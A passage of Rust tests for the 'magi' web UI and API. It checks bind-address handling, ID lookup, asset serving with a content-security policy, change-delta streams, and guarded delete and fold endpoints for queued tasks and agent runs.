12991 f.talks().put(&mut on_disk).expect("record a turn");
12992
12993 let after = f.get("/api/health").await.json()["talks_rev"]
12994 .as_u64()
12995 .expect("talks_rev");
12996 assert_ne!(
12997 before, after,
12998 "a phone must be able to notice a talk's reply without polling every store"
12999 );
13000 }
13001
13002 #[test]
13003 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13004 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13008 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13009 }
13010 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13011 assert!("everywhere".parse::<Bind>().is_err());
13012 }
13013
13014 #[test]
13015 fn an_explicit_bind_address_is_taken_verbatim() {
13016 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13017
13018 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13019
13020 assert_eq!(addr, asked);
13021 assert!(
13022 warning.is_none(),
13023 "an operator who named an address gets no lecture"
13024 );
13025 }
13026
13027 #[test]
13028 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13029 let (addr, warning) = resolve_bind(&Bind::Auto);
13030
13031 match addr {
13038 IpAddr::V4(ip) if is_tailnet(&ip) => {
13039 assert!(warning.is_none(), "a tailnet address needs no warning");
13040 }
13041 other => {
13042 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13043 let warning = warning.expect("a fallback has to explain itself");
13044 assert!(
13045 warning.contains("127.0.0.1") && warning.contains("local-only"),
13046 "the warning says what happened and what it costs: {warning}"
13047 );
13048 }
13049 }
13050 }
13051
13052 #[test]
13053 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13054 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13058 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13059 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13060 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13061 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13062 }
13063
13064 #[test]
13065 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13066 let ids = vec![
13067 "20260902-140501-aaaa".to_owned(),
13068 "20260902-140502-aabb".to_owned(),
13069 ];
13070
13071 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13072 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13073 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13074
13075 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13076 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13077 assert_eq!(short, "20260902-140502-aabb");
13078 }
13079 #[tokio::test]
13080 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13081 let fx = Fixture::start().await;
13087 let id = panel(
13088 &fx,
13089 "<img src=\"shot.png\">",
13090 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13091 );
13092
13093 let doc = fx
13095 .get(&format!("/api/questions/{id}/panel/index.html"))
13096 .await;
13097 assert_eq!(doc.status, 200, "{}", doc.body);
13098 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13099
13100 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13101 assert_eq!(sibling.status, 200, "{}", sibling.body);
13102 assert_eq!(sibling.header("content-type"), Some("image/png"));
13103 assert_eq!(
13104 sibling.header("content-security-policy"),
13105 Some(PANEL_CSP),
13106 "the sibling route must carry the same policy as the asset route"
13107 );
13108
13109 assert_eq!(
13112 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13113 200
13114 );
13115 }
13116
13117 #[test]
13118 fn delta_stamps_cover_add_update_remove_and_noop() {
13119 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13120 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13121 let delta = diff_stamps(&before, &after, 42);
13122 assert_eq!(delta.base, 42);
13123 assert_eq!(delta.changed, ["b", "c"]);
13124 assert_eq!(delta.removed, ["a"]);
13125 let same = diff_stamps(&after, &after, 43);
13126 assert!(same.changed.is_empty() && same.removed.is_empty());
13127 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13128 let nanos: Stamps = [("b".into(), (2, 20))].into();
13129 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13130 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13131 assert_eq!(stamps_revision(&Stamps::new()), 0);
13132 }
13133
13134 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13135 std::fs::create_dir_all(home.join("runs")).unwrap();
13136 Arc::new(Ui::new(
13137 Queue::at(home.join("queue")),
13138 Questions::at(home.join("questions")),
13139 Talks::at(home.join("talks")),
13140 home.join("runs"),
13141 home.to_owned(),
13142 PathBuf::from("/repo/magi"),
13143 ))
13144 }
13145
13146 #[tokio::test]
13147 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13148 let home = TempDir::new().unwrap();
13149 let ui = delta_test_ui(home.path());
13150 let mut task = Task::new(
13151 "stream task".into(),
13152 "text".into(),
13153 PathBuf::from("/repo"),
13154 Source::Human,
13155 );
13156 ui.queue.put(&mut task).unwrap();
13157 let response = events(State(ui.clone())).await.into_response();
13158 let mut stream = response.into_body().into_data_stream();
13159 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13160 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13161 .await
13162 .unwrap()
13163 .unwrap()
13164 .unwrap();
13165 let text = String::from_utf8(chunk.to_vec()).unwrap();
13166 let data = text
13167 .lines()
13168 .find_map(|line| {
13169 line.strip_prefix("data: ")
13170 .or_else(|| line.strip_prefix("data:"))
13171 })
13172 .unwrap();
13173 serde_json::from_str(data).unwrap()
13174 }
13175 let initial = change(&mut stream).await;
13176 assert!(initial.get("queue_delta").is_none());
13177 task.instruction.push_str(" changed");
13178 ui.queue.put(&mut task).unwrap();
13179 let updated = change(&mut stream).await;
13180 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13181 assert_eq!(
13182 updated["queue_delta"]["changed"],
13183 serde_json::json!([task.id])
13184 );
13185 assert_eq!(
13186 updated["queue_rev"].as_u64(),
13187 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13188 );
13189 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13190 let removed = change(&mut stream).await;
13191 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13192 assert_eq!(
13193 removed["queue_delta"]["removed"],
13194 serde_json::json!([task.id])
13195 );
13196 }
13197
13198 #[tokio::test]
13199 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13200 let home = TempDir::new().unwrap();
13201 let ui = delta_test_ui(home.path());
13202 let queue = ui.queue.clone();
13203 let query = |ids: Option<&str>| {
13204 Query(ListQuery {
13205 limit: Some(2),
13206 ids: ids.map(str::to_owned),
13207 })
13208 };
13209 let mut root = Task::new(
13210 "root".into(),
13211 "instruction".into(),
13212 PathBuf::from("/repo"),
13213 Source::Human,
13214 );
13215 queue.put(&mut root).unwrap();
13216 let mut blocked = Task::new(
13217 "blocked".into(),
13218 "instruction".into(),
13219 PathBuf::from("/repo"),
13220 Source::Human,
13221 );
13222 blocked.block(vec![root.id.clone()], None);
13223 queue.put(&mut blocked).unwrap();
13224 let whole =
13225 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13226 .unwrap();
13227 let subset = serde_json::to_value(
13228 queue_list(State(ui.clone()), query(Some(&root.id)))
13229 .await
13230 .unwrap()
13231 .0,
13232 )
13233 .unwrap();
13234 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13235 let blockers = serde_json::to_value(
13236 queue_list(State(ui.clone()), query(Some("")))
13237 .await
13238 .unwrap()
13239 .0,
13240 )
13241 .unwrap();
13242 assert_eq!(blockers.as_array().unwrap().len(), 1);
13243 assert_eq!(blockers[0]["id"], blocked.id);
13244 assert_eq!(
13245 blockers[0]["waits_on"],
13246 whole
13247 .as_array()
13248 .unwrap()
13249 .iter()
13250 .find(|row| row["id"] == blocked.id)
13251 .unwrap()["waits_on"]
13252 );
13253
13254 for id in [
13255 "20260902-140501-aaaa",
13256 "20260902-140502-bbbb",
13257 "20260902-140503-cccc",
13258 ] {
13259 write_run(&ui.runs, id, RunStatus::Merged);
13260 }
13261 let old = serde_json::to_value(
13262 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13263 .await
13264 .unwrap()
13265 .0,
13266 )
13267 .unwrap();
13268 assert!(
13269 old.as_array().unwrap().is_empty(),
13270 "older updates must not enter the window"
13271 );
13272 let newest = serde_json::to_value(
13273 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13274 .await
13275 .unwrap()
13276 .0,
13277 )
13278 .unwrap();
13279 assert_eq!(newest.as_array().unwrap().len(), 1);
13280 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13281
13282 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13283 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13284 let talks = serde_json::to_value(
13285 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13286 .await
13287 .unwrap()
13288 .0,
13289 )
13290 .unwrap();
13291 assert_eq!(talks.as_array().unwrap().len(), 1);
13292 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13293 assert_eq!(
13294 serde_json::to_value(
13295 talks_list(State(ui.clone()), query(Some("")))
13296 .await
13297 .unwrap()
13298 .0
13299 )
13300 .unwrap(),
13301 serde_json::json!([])
13302 );
13303 }
13304
13305 #[tokio::test]
13306 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13307 async fn delta_payload_benchmark() {
13308 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13309 let ui = delta_test_ui(&home);
13310 let query = |ids: Option<String>| {
13311 Query(ListQuery {
13312 limit: Some(50),
13313 ids,
13314 })
13315 };
13316 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13317 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13318 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13319 let queue_id = queue
13320 .iter()
13321 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13322 .unwrap_or(&queue[0])
13323 .task
13324 .id
13325 .clone();
13326 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13327 .await
13328 .unwrap()
13329 .0;
13330 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13331 .await
13332 .unwrap()
13333 .0;
13334 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13335 .await
13336 .unwrap()
13337 .0;
13338 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13339 eprintln!(
13340 "DELTA_PAYLOAD {}",
13341 serde_json::json!({
13342 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13343 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13344 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13345 "counts": [queue.len(), runs.len(), talks.len()],
13346 "blocked": queue_delta.len() - 1,
13347 })
13348 );
13349 }
13350
13351 #[test]
13352 fn runs_revision_moves_when_deleting_an_older_run() {
13353 let temp = TempDir::new().expect("tempdir");
13354 let runs = temp.path().join("runs");
13355 std::fs::create_dir_all(&runs).expect("create runs dir");
13356
13357 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13358
13359 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13360 std::thread::sleep(Duration::from_millis(10));
13361 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13362
13363 let rev_before = runs_revision(&runs);
13364 assert!(rev_before > 0);
13365
13366 let old_dir = runs.join("20260901-100000-old1");
13367 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13368
13369 let rev_after = runs_revision(&runs);
13370 assert_ne!(
13371 rev_before, rev_after,
13372 "deleting an older run must change the revision so other clients see the deletion"
13373 );
13374 }
13375
13376 fn write_state(runs: &FsPath, state: &RunState) {
13381 let dir = runs.join(&state.id);
13382 std::fs::create_dir_all(&dir).expect("run dir");
13383 std::fs::write(
13384 dir.join("run.json"),
13385 serde_json::to_string_pretty(state).expect("serialize run"),
13386 )
13387 .expect("write run.json");
13388 }
13389
13390 #[test]
13395 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13396 let temp = TempDir::new().expect("tempdir");
13397 let runs = temp.path().join("runs");
13398 std::fs::create_dir_all(&runs).expect("create runs dir");
13399 let mut state = RunState::new(
13400 PathBuf::from("/repo/magi"),
13401 "main".to_owned(),
13402 "0123456789abcdef".to_owned(),
13403 "task".to_owned(),
13404 Config::default(),
13405 );
13406 state.id = "20260902-100000-c0de".to_owned();
13407 write_state(&runs, &state);
13408
13409 let rev_idle = runs_revision(&runs);
13410 std::thread::sleep(Duration::from_millis(10));
13411 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13412 write_state(&runs, &state);
13413 let rev_started = runs_revision(&runs);
13414 assert_ne!(
13415 rev_idle, rev_started,
13416 "a seat starting must move the revision"
13417 );
13418
13419 std::thread::sleep(Duration::from_millis(10));
13420 state.seat_finished("judge-1");
13421 write_state(&runs, &state);
13422 let rev_finished = runs_revision(&runs);
13423 assert_ne!(
13424 rev_started, rev_finished,
13425 "and clearing it again must move the revision a second time"
13426 );
13427 }
13428
13429 #[tokio::test]
13430 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13431 let fx = Fixture::start().await;
13436 let q = fx.queue();
13437
13438 let mut t = Task::new(
13439 "Task".to_owned(),
13440 "Instruction".to_owned(),
13441 PathBuf::from("/repo"),
13442 Source::Human,
13443 );
13444 t.block(
13445 vec!["20260101-000000-dead".to_owned()],
13446 Some("waiting on Task 1".to_owned()),
13447 );
13448 t.answers.push(crate::queue::AnsweredQuestion {
13449 question: "Which backend?".to_owned(),
13450 answer: "SQLite".to_owned(),
13451 });
13452 q.put(&mut t).expect("put t");
13453
13454 let res = fx.get("/api/queue").await;
13455 assert_eq!(res.status, 200);
13456 let list = res.json();
13457 let view = list
13458 .as_array()
13459 .expect("array")
13460 .iter()
13461 .find(|v| v["id"] == t.id)
13462 .expect("task in list");
13463 assert_eq!(view["status_str"], "blocked");
13464 assert_eq!(
13465 view["blocked_by"],
13466 serde_json::json!(["20260101-000000-dead"])
13467 );
13468 assert_eq!(view["block_reason"], "waiting on Task 1");
13469 assert_eq!(view["answers"][0]["question"], "Which backend?");
13470 assert_eq!(view["answers"][0]["answer"], "SQLite");
13471
13472 let res = fx
13476 .post(&format!("/api/queue/{}/hold", t.short()), None)
13477 .await;
13478 assert_eq!(res.status, 200);
13479 let held = res.json();
13480 assert_eq!(held["status_str"], "held");
13481 assert_eq!(held["blocked_by"], serde_json::json!([]));
13482 assert!(held["block_reason"].is_null());
13483 assert_eq!(held["answers"][0]["answer"], "SQLite");
13484 }
13485
13486 #[tokio::test]
13487 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13488 let fx = Fixture::start().await;
13489 let q = fx.queue();
13490 let mk = |title: &str| {
13491 Task::new(
13492 title.to_owned(),
13493 "Instruction".to_owned(),
13494 PathBuf::from("/repo"),
13495 Source::Human,
13496 )
13497 };
13498 let mut root = mk("root");
13499 root.hold_manual(Some("waiting".to_owned()));
13500 q.put(&mut root).unwrap();
13501 let mut mid = mk("mid");
13502 mid.block(vec![root.id.clone()], None);
13503 q.put(&mut mid).unwrap();
13504 let mut leaf = mk("leaf");
13505 leaf.block(vec![mid.id.clone()], None);
13506 q.put(&mut leaf).unwrap();
13507
13508 let list = fx.get("/api/queue").await.json();
13509 let find = |id: &str| {
13510 list.as_array()
13511 .unwrap()
13512 .iter()
13513 .find(|v| v["id"] == id)
13514 .unwrap()
13515 .clone()
13516 };
13517 let leaf_view = find(&leaf.id);
13518 assert_eq!(
13519 leaf_view["waits_on"],
13520 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13521 );
13522 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13523 assert_eq!(
13524 find(&mid.id)["waits_on"],
13525 serde_json::json!([format!("{} (held)", root.short())])
13526 );
13527 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13528 }
13529
13530 #[tokio::test]
13531 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13532 let fx = Fixture::start().await;
13533 let q = fx.queue();
13534
13535 let mut t1 = Task::new(
13537 "Task 1".to_owned(),
13538 "Instruction 1".to_owned(),
13539 PathBuf::from("/repo"),
13540 Source::Human,
13541 );
13542 let run_id = "20260901-000000-r111";
13543 t1.runs.push(run_id.to_owned());
13544 write_run(&fx.runs(), run_id, RunStatus::Merged);
13545 q.put(&mut t1).expect("put t1");
13546
13547 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13549 assert_eq!(res.status, 204);
13550 assert!(res.body.is_empty(), "204 No Content has no body");
13551 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13552 assert!(
13553 fx.runs().join(run_id).exists(),
13554 "run directory must not be deleted when its task is deleted"
13555 );
13556
13557 let mut t2 = Task::new(
13559 "Task 2".to_owned(),
13560 "Instruction 2".to_owned(),
13561 PathBuf::from("/repo"),
13562 Source::Human,
13563 );
13564 t2.status = TaskStatus::Running;
13565 q.put(&mut t2).expect("put t2");
13566 let mut beat = crate::daemon::Status::new();
13567 beat.current = vec![crate::daemon::Current {
13568 task: t2.id.clone(),
13569 run: "20260901-000000-r222".to_owned(),
13570 }];
13571 beat.updated_at = jiff::Timestamp::now();
13572 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13573 .expect("publish a heartbeat");
13574 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13575 assert_eq!(res.status, 409);
13576 assert!(
13577 res.json()["error"]
13578 .as_str()
13579 .unwrap()
13580 .contains("live daemon")
13581 );
13582 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13583
13584 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13590 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13591 .expect("leave a stale heartbeat");
13592 let mut t3 = Task::new(
13593 "Task 3".to_owned(),
13594 "Instruction 3".to_owned(),
13595 PathBuf::from("/repo"),
13596 Source::Human,
13597 );
13598 t3.status = TaskStatus::Running;
13599 q.put(&mut t3).expect("put t3");
13600 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13601 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13602 assert_eq!(res.status, 204);
13603 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13604 assert!(
13605 q.claim(&t3.id).is_ok(),
13606 "the stale lock went with it, so the id is claimable again"
13607 );
13608
13609 let res = fx.delete("/api/queue/nonexistent").await;
13611 assert_eq!(res.status, 404);
13612 }
13613
13614 #[tokio::test]
13615 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13616 let fx = Fixture::start().await;
13617 let runs = fx.runs();
13618
13619 let run_id = "20260901-000000-fold";
13621 let mut state = RunState::new(
13622 PathBuf::from("/repo"),
13623 "main".to_owned(),
13624 "abc".to_owned(),
13625 "instruction".to_owned(),
13626 Config::default(),
13627 );
13628 state.id = run_id.to_owned();
13629 state.status = RunStatus::Merged;
13630 state.candidates.push(crate::run::Candidate {
13631 index: 0,
13632 label: 'A',
13633 agent: "a".to_owned(),
13634 branch: "b".to_owned(),
13635 worktree: PathBuf::from("/w"),
13636 summary: String::new(),
13637 stat: String::new(),
13638 files: 1,
13639 commits: 1,
13640 empty: false,
13641 failed: None,
13642 verified_noop: None,
13643 duration_ms: 0,
13644 folded: true,
13645 });
13646 let dir = runs.join(run_id);
13647 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13648 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13649 .expect("write artifact");
13650 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13651 .expect("write run.json");
13652
13653 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13655 assert_eq!(res.status, 204);
13656 assert!(res.body.is_empty(), "204 has no body");
13657 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13658
13659 let run_running = "20260901-000000-rung";
13664 write_run(&runs, run_running, RunStatus::Prep);
13665 let mut beat = crate::daemon::Status::new();
13666 beat.current = vec![crate::daemon::Current {
13667 task: "20260901-000000-task".to_owned(),
13668 run: run_running.to_owned(),
13669 }];
13670 beat.updated_at = jiff::Timestamp::now();
13671 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13672 .expect("publish a heartbeat");
13673 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13674 assert_eq!(res.status, 409);
13675 assert!(
13676 res.json()["error"]
13677 .as_str()
13678 .unwrap()
13679 .contains("live daemon"),
13680 "the refusal must say who is holding it"
13681 );
13682 assert!(
13683 runs.join(run_running).exists(),
13684 "a run in flight keeps its directory"
13685 );
13686
13687 let run_unfolded = "20260901-000000-unfd";
13689 let mut state2 = RunState::new(
13690 PathBuf::from("/repo"),
13691 "main".to_owned(),
13692 "abc".to_owned(),
13693 "instruction".to_owned(),
13694 Config::default(),
13695 );
13696 state2.id = run_unfolded.to_owned();
13697 state2.status = RunStatus::Ready;
13698 state2.candidates.push(crate::run::Candidate {
13699 index: 0,
13700 label: 'A',
13701 agent: "a".to_owned(),
13702 branch: "b".to_owned(),
13703 worktree: PathBuf::from("/w"),
13704 summary: String::new(),
13705 stat: String::new(),
13706 files: 1,
13707 commits: 1,
13708 empty: false,
13709 failed: None,
13710 verified_noop: None,
13711 duration_ms: 0,
13712 folded: false,
13713 });
13714 let dir2 = runs.join(run_unfolded);
13715 std::fs::create_dir_all(&dir2).expect("create dir2");
13716 std::fs::write(
13717 dir2.join("run.json"),
13718 serde_json::to_string(&state2).unwrap(),
13719 )
13720 .expect("write run.json");
13721
13722 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13723 assert_eq!(res.status, 409);
13724 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13725 assert!(dir2.exists(), "unfolded run directory is kept");
13726
13727 let res = fx.delete("/api/runs/nonexistent").await;
13729 assert_eq!(res.status, 404);
13730 }
13731
13732 #[test]
13741 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13742 let start = APP_JS
13743 .find("function renderStats() {")
13744 .expect("renderStats");
13745 let end = start
13746 + APP_JS[start..]
13747 .find("function statsTile(")
13748 .expect("the next top-level function");
13749 let body = &APP_JS[start..end];
13750
13751 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13752 let gate_end = gate_start
13753 + body[gate_start..]
13754 .find("}\n renderStatsQueue")
13755 .expect("the gate's own closing brace, right before the unconditional call");
13756 let gated = &body[gate_start..gate_end];
13757
13758 assert_eq!(
13759 body.matches("renderStatsQueue(").count(),
13760 1,
13761 "renderStats must call renderStatsQueue exactly once: {body}"
13762 );
13763 assert!(
13764 !gated.contains("renderStatsQueue"),
13765 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13766 run-derived panels on an empty run history - the queue panel has to render \
13767 regardless: {gated}"
13768 );
13769 }
13770
13771 #[test]
13772 fn web_ui_delete_contract_in_front_end() {
13773 assert!(APP_JS.contains("deleteRun:"));
13775 assert!(APP_JS.contains("deleteTask:"));
13776
13777 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13779 ..APP_JS.find("function renderRuns").unwrap()];
13780 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13781
13782 assert!(APP_JS.contains("renderRunDelete"));
13784 assert!(APP_JS.contains("runDeleteReason"));
13785 assert!(APP_JS.contains("magi fold"));
13786 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13787
13788 assert!(APP_JS.contains("cancel.focus"));
13790 assert!(APP_JS.contains("armedRunDelete"));
13791 assert!(APP_JS.contains("renderTaskDeleteBox"));
13792 assert!(APP_JS.contains("armed${cap(key)}"));
13793
13794 assert!(APP_JS.contains("disabled: status === \"running\""));
13796 }
13797
13798 #[test]
13818 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13819 let build = APP_JS
13820 .find("function createRunCard")
13821 .expect("createRunCard exists");
13822 let update = APP_JS
13823 .find("function updateRunCard")
13824 .expect("updateRunCard exists");
13825 let end = APP_JS
13826 .find("function renderRuns")
13827 .expect("renderRuns exists");
13828
13829 let builder = &APP_JS[build..update];
13831 let open = builder.find("refs = {").expect("createRunCard sets refs");
13832 let literal = &builder[open + "refs = {".len()..];
13833 let close = literal.find('}').expect("the refs literal is closed");
13834 let published: HashSet<&str> = literal[..close]
13835 .split(',')
13836 .filter_map(|entry| entry.split(':').next())
13838 .map(str::trim)
13839 .filter(|name| !name.is_empty())
13840 .collect();
13841 assert!(
13842 published.len() > 5,
13843 "the refs literal did not parse into names: {published:?}"
13844 );
13845
13846 let mut used: Vec<&str> = Vec::new();
13849 let updaters = &APP_JS[update..end];
13850 for (at, _) in updaters.match_indices("r.") {
13851 let before = updaters[..at].chars().next_back();
13854 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13855 continue;
13856 }
13857 let rest = &updaters[at + 2..];
13858 let len = rest
13859 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13860 .unwrap_or(rest.len());
13861 if len > 0 {
13862 used.push(&rest[..len]);
13863 }
13864 }
13865 assert!(
13866 used.len() > 5,
13867 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13868 );
13869
13870 let missing: Vec<&str> = used
13871 .iter()
13872 .copied()
13873 .filter(|name| !published.contains(name))
13874 .collect();
13875 assert!(
13876 missing.is_empty(),
13877 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13878 never put in `refs` - every card will throw and the list will \
13879 render empty under a count line that says otherwise. Published: \
13880 {published:?}"
13881 );
13882 }
13883
13884 #[tokio::test]
13885 async fn folding_from_the_phone_reports_what_it_removed() {
13886 let fx = Fixture::start().await;
13887 let runs = fx.runs();
13888
13889 let id = "20260901-000000-fold";
13893 write_run(&runs, id, RunStatus::Stalled);
13894 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13895 assert_eq!(res.status, 200);
13896 assert_eq!(res.json()["removed_count"], 0);
13897 assert_eq!(res.json()["run"], id);
13898 assert!(
13899 runs.join(id).exists(),
13900 "a fold keeps the run's record; only the worktrees go"
13901 );
13902 }
13903
13904 #[tokio::test]
13905 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13906 let fx = Fixture::start().await;
13907 let runs = fx.runs();
13908 let wt = fx.home.path().join("wt").join("magi").join("dead");
13909 let id = "20260901-000000-dead";
13910 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13911 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13912 std::fs::create_dir_all(&wt).expect("worktree dir");
13913
13914 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13915 assert_eq!(res.status, 200, "{}", res.body);
13916 assert!(
13917 res.json()["removed_count"].as_u64().unwrap() > 0,
13918 "the worktree this build could not read a state for still went"
13919 );
13920 assert!(
13921 !runs.join(id).exists(),
13922 "an unreadable run has no candidate list to fold selectively, so \
13923 the whole record goes - same as `magi fold` on the CLI"
13924 );
13925 }
13926
13927 #[tokio::test]
13928 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13929 let fx = Fixture::start().await;
13930 let runs = fx.runs();
13931 let wt = fx.home.path().join("wt").join("magi").join("gone");
13932 let id = "20260901-000000-gone";
13933 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13934 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13935 std::fs::create_dir_all(&wt).expect("worktree dir");
13936
13937 let res = fx.delete(&format!("/api/runs/{id}")).await;
13938 assert_eq!(res.status, 204, "{}", res.body);
13939 assert!(!runs.join(id).exists(), "the broken record is gone");
13940 assert!(!wt.exists(), "its worktree is gone too");
13941 }
13942
13943 #[tokio::test]
13944 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13945 let fx = Fixture::start().await;
13946 let runs = fx.runs();
13947 let id = "20260901-000000-live";
13948 write_run(&runs, id, RunStatus::Implementing);
13949
13950 let mut beat = crate::daemon::Status::new();
13951 beat.current = vec![crate::daemon::Current {
13952 task: "20260901-000000-task".to_owned(),
13953 run: id.to_owned(),
13954 }];
13955 beat.updated_at = jiff::Timestamp::now();
13956 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13957 .expect("publish a heartbeat");
13958
13959 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13960 assert_eq!(res.status, 409);
13961 assert!(
13962 res.json()["error"]
13963 .as_str()
13964 .unwrap()
13965 .contains("live daemon"),
13966 "folding under a running agent would pull its worktree away"
13967 );
13968 }
13969
13970 #[tokio::test]
13971 async fn fold_merged_requires_a_pr_url() {
13972 let fx = Fixture::start().await;
13973 let runs = fx.runs();
13974 let id = "20260901-000000-nourl";
13975 write_run(&runs, id, RunStatus::Blocked);
13976
13977 let res = fx
13978 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13979 .await;
13980 assert_eq!(res.status, 400, "{}", res.body);
13981
13982 let blank = fx
13983 .post(
